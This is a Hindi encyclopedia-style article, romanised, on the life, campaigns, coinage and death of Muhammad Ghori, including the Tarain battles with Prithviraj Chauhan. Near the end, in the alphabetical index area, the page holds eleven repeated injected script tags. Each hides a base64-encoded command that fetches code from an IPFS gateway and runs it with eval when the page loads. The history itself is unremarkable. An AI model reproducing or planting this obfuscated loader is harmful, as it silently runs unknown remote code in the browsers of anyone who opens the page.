मुहम्मद ग़ोरी

	muhammad gori
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poora nam	sulatan shahabuddin muhammad gori
janm	1149 ee.
janm bhoomi	gor, afaganistan
mrityu tithi	15 march, 1206 ee.
mrityu sthan	jhelam kshetr, pakistan
sha. avadhi	afaganistan, pakistan, bharat
dharmik manyata	sunni, islam
yuddh	prithviraj ke viruddh jo abhiyan kiya
rajadhani	lahaur, pakistan
rajagharana	gori
sanbandhit lekh	prithviraj chauhan, mahamood gazanavi, qutubuddin aibak, jayachandr, gazani
any janakari	jis sthal par jayachandr aur muhammad gori ki senaoan mean nirnayak yuddh hua tha, use 'chandravar' kaha gaya hai. yah ek aitihasik sthal hai, jo ab firozabad, uttar pradesh ke nikat ek chhote gaanv ke roop mean sthit hai.

shahabuddin muhammad gori 12vian shatabdi ka afagan yoddha tha, jo gazani samrajy ke adhin gor namak rajy ka shasak tha. muhammad gauri 1173 ee. mean gor ka shasak bana tha. jis samay mathura mandal ke uttar-pashchim mean prithviraj aur dakshin-poorv mean jayachandr jaise mahanh nareshoan ke shaktishali rajy the, us samay bharat ke pashchim uttar ke simaant par shahab-ud-din muhammad gori (1173-1206 ee.) namak ek musalaman saradar ne mahamood gazanavi ke vanshajoan se rajyadhikar chhin kar ek naye islami rajy ki sthapana ki. muhammad gori b da mahattvakaankshi aur sahasi tha. vah mahamood gazanavi ki bhaanti bharat par akraman karane ka ichchhuk tha, kiantu usaka uddeshy gazanavi se alag tha. vah lootamar ke sath hi sath is desh mean muslim rajy bhi sthapit karana chahata tha. us kal mean pashchimi panjab tak aur doosari or multan evan siandh tak musalamanoan ka adhikar tha, jisake adhikaansh bhag par mahamood ke vanshaj gazanavi saradar shasan karate the. muhammad gori ko bharat ke aantarik bhag tak pahuanchane ke lie pahale un musalaman shasakoan se aur phir vahaan ke vir rajapootoan se yuddh karana tha, atah vah poori taiyari ke sath bharat par akraman karane ka ayojan karane laga.

parichay

muhammad gori ke janm ki sahi tithi jnat nahian hai, lekin kuchh itihasakar usaka janm 1149 ee. mean manate haian. gori rajavansh ki niv alauddin jahanasoz ne rakhi aur 1161 ee. mean usake dehaant ke bad usaka putr saifuddin gori sianhasan par baitha. apane marane se pahale alauddin jahanasoz ne apane do bhatijoan- shahabuddin, jo amataur par muhammad gori kahalata hai aur giyasuddin ko qaid kar rakha tha; lekin saifuddin ne unhean riha kar diya. us samay gori vansh gazanaviyoan aur salajooqoan ki adhinata se nikalane ke prayas mean tha. unhoanne gazanaviyoan ko to 1148-1149 mean hi khatm kar diya tha, lekin salajooqoan ka tab bhi zor tha aur unhoanne kuchh kal ke lie gor prant par sidha qabza kar lie tha; halaanki usake bad use goriyoan ko vapas kar diya tha.

salajooqoan ne jab is kshetr par niyantran kiya, tab unhoanne saifuddin ki patni ke zevar bhi le lie the. gaddi grahan karane ke bad ek din saifuddin ne kisi sthaniy saradar ko yah zevar pahane dekh liya aur taish mean akar use mar dala. jab mritak ke bhaee ko kuchh mahinoan bad mauqa mila to usane saifuddin ko badale mean bhala marakar mar dala. is tarah saifuddin ka shasanakal keval ek varsh ke asapas hi raha. giyasuddin naya shasak bana aur usake chhote bhaee shahabuddin ne usaka rajy vistar karane mean usaki bahut vafadari se madad ki. shahabuddin urf muhammad gori ne pahale gazana par qabza kiya aur phir 1175 mean multan aur ooch par aur phir 1186 mean lahaur par. jab usaka bhaee 1202 mean mara to shahabuddin muhammad gori sultan ban gaya.

bharat par akraman

muhammad gori mahan vijeta aur kushal sainy sanchalak tha. 1175 ee. mean usane multan aur agale hi varsh uchch par vijay prapt kar li. 1178 ee. mean gujarat ke chaluky shasak bhimadev dvitiy dvara vah khade d diya gaya. rajapoot viroan ki prabal mar se vah parajit ho gaya. is prakar bharat ke hiandoo rajaoan ki or muanh uthate hi use aanrabh mean hi chot khani p di. kiantu vah mahattvakaankshi muslim akraanta us parajay se hatotsahit nahian hua. usane apane abhiyan ka marg badal diya. vah tab panjab hokar bharat vijay ka ayojan karane laga. us kal mean peshavar aur panjab hokar vah bharat vijay ka apana sapana sakar karane mean lag gaya. us samay mean peshavar aur panjab ke shasak mahamood ke jo vanshaj the, ve shaktihin ho gaye the. atah unhean parajit karana muhammad gori ko saral jnat hua. usane 1186 ee. mean khusaro malik ko parajit karake panjab par adhikar kar liya. is prakar uttari bharat ke maidani bhoo-bhagoan mean age badhane ke lie usaka path prashast ho gaya. usane panjab ke adhikaansh bhag ko gazanavi ke vanshajoan se chhin liya aur vahaan par apani sridridh qilebandi kar bharat ke hindoo rajaoan par akraman karane ki taiyari karane laga.

rajy sima

muhammad gori ke rajy ki sima tab dilli ke chahaman vir prithviraj chauhan ke rajy se ja lagi thian; atah age badhane ke lie use ek parakrami shatru se morcha lena tha. usase pahale mahamood ke vanshaj gazanavi shasakoan se hindoo rajaoan ke bhi kee sangharsh hue the; kiantu ve chhoti-moti sthaniy l daiyaan thian aur unamean prayah hindoo rajaoan ki hi vijay huee thi. muhammad gori ne prithviraj ke viruddh jo abhiyan kiya, vah ek prabal akraman tha. isalie mahamood gazanavi ke bad muhammad gori hi bharat par chadhaee karane vala doosara muslim akraanta mana gaya hai.

prithviraj chauhan se yuddh

kianvadantiyoan ke anusar muhammad gori ne 18 bar prithviraj chauhan par akraman kiya tha, jisamean 17 bar use parajit hona p da. kisi bhi itihasakar ko in kianvadantiyoan ke adhar par apana mat banana kathin hota hai. is vishay mean itana nishchit hai ki muhammad gori aur prithviraj chauhan mean kam-se-kam do bhishan yuddh avashy hue the, jinamean se pratham yuddh mean prithviraj vijayi hua, jabaki doosare yuddh mean use parajay ka samana karana p da. yah donoan yuddh thaneshvar ke nikatavarti 'tarain' ya 'tarav di' ke maidan mean kramashah 1191 ee. (sanvat 1247) aur 1192 ee. (sanvat 1248) mean hue the. in yuddhoan se pahale prithviraj kee hindoo rajaoan se l daiyaan kar chuka tha. chandel rajaoan ko parajit karane mean use apane kee vikhyat senanayakoan aur viroan ko khona p da tha. jayachandr ke sath hone vale sangharsh mean bhi usake bahut se viroan ki hani huee thi. phir un dinoan prithviraj apane vriddh mantri par rajy bhar chho d kar svayan sanyogita ke sath vilas kri da mean laga hua tha. un sab karanoan se usaki sainy shakti adhik prabhavashalini nahian thi, phir bhi usane gauri ke daant khatte kar diye the.

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gori ki bhari parajay

sanvat 1247 mean jab prithviraj se muhammad gori ki vishal sena ka samana hua, tab rajapoot viroan ki vikat mar se musalaman sainikoan ke pair ukh d gaye. svayan gori bhi prithviraj ke anuj ke prahar se buri tarah ghayal ho gaya tha. yadi usaka khilaji sevak use gho de par dal kar yuddh bhoomi se bhagakar n le jata, to vahian usake pran pakheroo u d jate. us yuddh mean gori ki bhari parajay huee thi aur use bhishan hani uthakar bharat ki bhoomi se bhagana p da tha. bharatiy raja ke viruddh yuddh abhiyan mean yah usaki doosari b di parajay thi, jo anhilava da ke yuddh ke bad sahani p di thi.

prithviraj ki parajay aur mrityu

muhammad gori us apamanajanak parajay ka badala lene ke lie taiyari karane laga. agale varsh vah 1 lakh 20 hazar chune hue ashvarohiyoan ki vishal sena lekar phir tarain ke maidan mean a data. udhar prithviraj ne bhi usase morcha lene ke lie kee rajapoot rajaoan ko amantrit kiya tha. kuchh rajaoan ne to apani senaean bhej di; kiantu us samay ka gah daval vanshiy kannauj naresh jayachandr usase tatasth hi raha. kivadanti hai ki prithviraj se vidvesh rakhane ke karan jayachandr ne hi muhammad gori ko bharat par akraman karane ke lie amantrit kiya tha. is kianvadanti ki satyata ka koee pramanik adhar nahian hai; atah jayachandr par deshadroh ka dosharopan bhi apramanik jnat hota hai. usamean keval itani hi satyata hai ki usane us avasar par prithviraj ki sahayata nahian ki thi. prithviraj ke rajapoot yoddhaoan ne us bar bhi musalamani sena par bhishan prahar kar apani virata ka parichay diya tha; kiantu desh ke durbhagy se unhean parajit hona p da. is prakar san. 1248 ke us yuddh mean muhammad gori ki vijay aur prithviraj ki parajay huee thi. yuddh mean parajit hone ke pashchath prithviraj ki kis prakar mrityu huee, is vishay mean itihasakaroan ke vibhinn mat milate haian. kuchh ke matanusar vah pahile bandi bana kar dilli mean rakha gaya tha aur bad mean gori ke sainikoan dvara mar diya gaya tha. kuchh ka mat hai ki use bandi banakar gajani le jaya gaya tha aur vahaan par usaki mrityu huee. aisi bhi kianvadanti hai ki prithviraj ka darabari kavi aur sakha chandabaradaee apane svami ki durdinoan mean sahayata karane ke lie gajani gaya tha. usane apane buddhi kaushal se prithviraj dvara gori ka sanhar karakar usase badala liya tha. phir gori ke sainikoan ne us donoan ko bhi mar dala tha. is kianvadanti ka koee aitihasik adhar nahian haian, atah vah pramanik jnat nahian hoti hai.

yuddh sthal chandavar

jis sthal par jayachandr aur muhammad gori ki senaoan mean nirnayak yuddh hua tha, use 'chandravar' kaha gaya hai. yah ek aitihasik sthal hai, jo ab firozabad, uttar pradesh ke nikat ek chhote gaanv ke roop mean sthit hai. aisa kaha jata hai ki use chauhan raja chandrasen ne 11vian shati mean basaya tha. use pahale 'chandava da' kaha jata tha; bad mean vah 'chandavar' kaha jane laga. chandrasen ke putr chandrapal ke shasanakal mean mahamood gazanavi ne vahaan akraman kiya tha; kiantu use saphalata prapt nahian huee thi. bad mean muhammad gori ki sena vijayi huee thi. chandavar ke rajaoan ne yahaan par ek durg banavaya tha aur bhavanoan evan mandiroan ka nirman karaya tha. is sthan ke charoan or kee miloan tak isake dhvansavashesh dikhalaee dete the.

sikke

bharat mean sikkoan ka apana ek lanba-chau da itihas hai. yahaan ke musl‍im shasakoan se lekar aangrejoan tak ne apane apane sikke chalae haian, lekin sath hi chalan mean apane apane dhang se mudraean (sikke) bhi chalaeean. is itihas mean muhammad gori dvara chalae ge lakshmi ki tasvir vale sikke bhi haian to akabar ke chalae siya ram ki tasvir vale sikke bhi haian. dilli ke itihasakar nalin chauhan apane k aaulam dilli ke anajane itihas ke khoji mean likhate haian ki gori ka ek sikka jisake chit mean baithi huee lakshmi ka aankan hai to pat mean devanagari mean muhammad bin sam utkirn hai. ye sikka dilli mean bharatiy puratatv vibhag ke sangrahalay mean surakshit hai, sikke ka vajan 4.2 gram hai. unhoanne likha hai ki dilli mean gori kal ke sikkoan par prithviraj ke shasan vale hiandoo devi-devataoan ke pratik chihnoan aur devanagari ko yathavat rakha gaya.^[1]

gori ne dilli mean paanv jamane tak prithviraj chauhan ke samay mean prachalit prashasakiy manyataoan mean bhi vishesh parivartan nahian kiya. yahi karan hai ki hiandoo sikkoan mean prachalit chitr aankan paranpara ke anuroop, in sikkoan mean lakshmi aur vrishabh-ghu dasavar aankit the. isake pichhe ki vajah batate hue vah likhate haian ki gori ne hindoo janata ko nee mudra ke chalan ko svikar n karane ke rananitik upay ke roop mean hindoo shasakoan, chauhan aur tomar vanshoan ke sikkoan ke prachalan ko jari rakha. us samay bhi hindi bhasha janata ki bhasha thi aur gori apane shasan ki saphalata ke liye bhasha ka ashray lena chahata tha. vah hindoo janata ko yah bharosa dilana chahata tha ki yah keval vyavastha ka sthanantaran matr hai halaanki bad mean bahut kuchh usake shasan kal mean badalata chala gaya.

mrityu

mana jata hai ki 15 march, 1206 ee. mean adhunik pakistan ke jhelam kshetr mean nadi ke kinare muhammad gori ko khokhar namak jat qabile ke logoan ne apane oopar hue hamaloan ka badala lene ke lie mar dala. muhammad gori ka koee putr nahian tha aur usaki maut ke bad usake samrajy ke bharatiy kshetr par usake priy gulam qutubuddin aibak ne dilli saltanat sthapit karake usaka vistar karana shuroo kar diya. usake afaganistan v any ilaqoan par goriyoan ka niyantran n bach saka aur khvarezmi samrajy ne un par qabza kar liya. gazana aur gor kam mahatvapoorn ho ge aur dilli ab kshetriy islami samrajy ka keandr ban gaya. itihasakar san 1215 ke bad gori samrajy ko poori tarah visthapit manate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ mohammad gauri ne isalie chalaya tha maan lakshmi ki tasvir vala sone ka sikka https://www.aajtak.in/education/story/muhammad-gori-coins-goddess-laxmi-akbar-ram-siya-coins-history-tedu-1014488-2020-01-18 (hiandi) aajtak.in. abhigaman tithi: 29 julaee, 2022.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] uri ne isalie chalaya tha maan lakshmi ki tasvir vala sone ka sikka https://www.aajtak.in/education/story/muhammad-gori-coins-goddess-laxmi-akbar-ram-siya-coins-history-tedu-1014488-2020-01-18 (hiandi) aajtak.in. abhigaman tithi: 29 julaee, 2022.

[1]

muhammad gori
\|200px\|center
poora nam	sulatan shahabuddin muhammad gori
janm	1149 ee.
janm bhoomi	gor, afaganistan
mrityu tithi	15 march, 1206 ee.
mrityu sthan	jhelam kshetr, pakistan
sha. avadhi	afaganistan, pakistan, bharat
dharmik manyata	sunni, islam
yuddh	prithviraj ke viruddh jo abhiyan kiya
rajadhani	lahaur, pakistan
rajagharana	gori
sanbandhit lekh	prithviraj chauhan, mahamood gazanavi, qutubuddin aibak, jayachandr, gazani
any janakari	jis sthal par jayachandr aur muhammad gori ki senaoan mean nirnayak yuddh hua tha, use 'chandravar' kaha gaya hai. yah ek aitihasik sthal hai, jo ab firozabad, uttar pradesh ke nikat ek chhote gaanv ke roop mean sthit hai.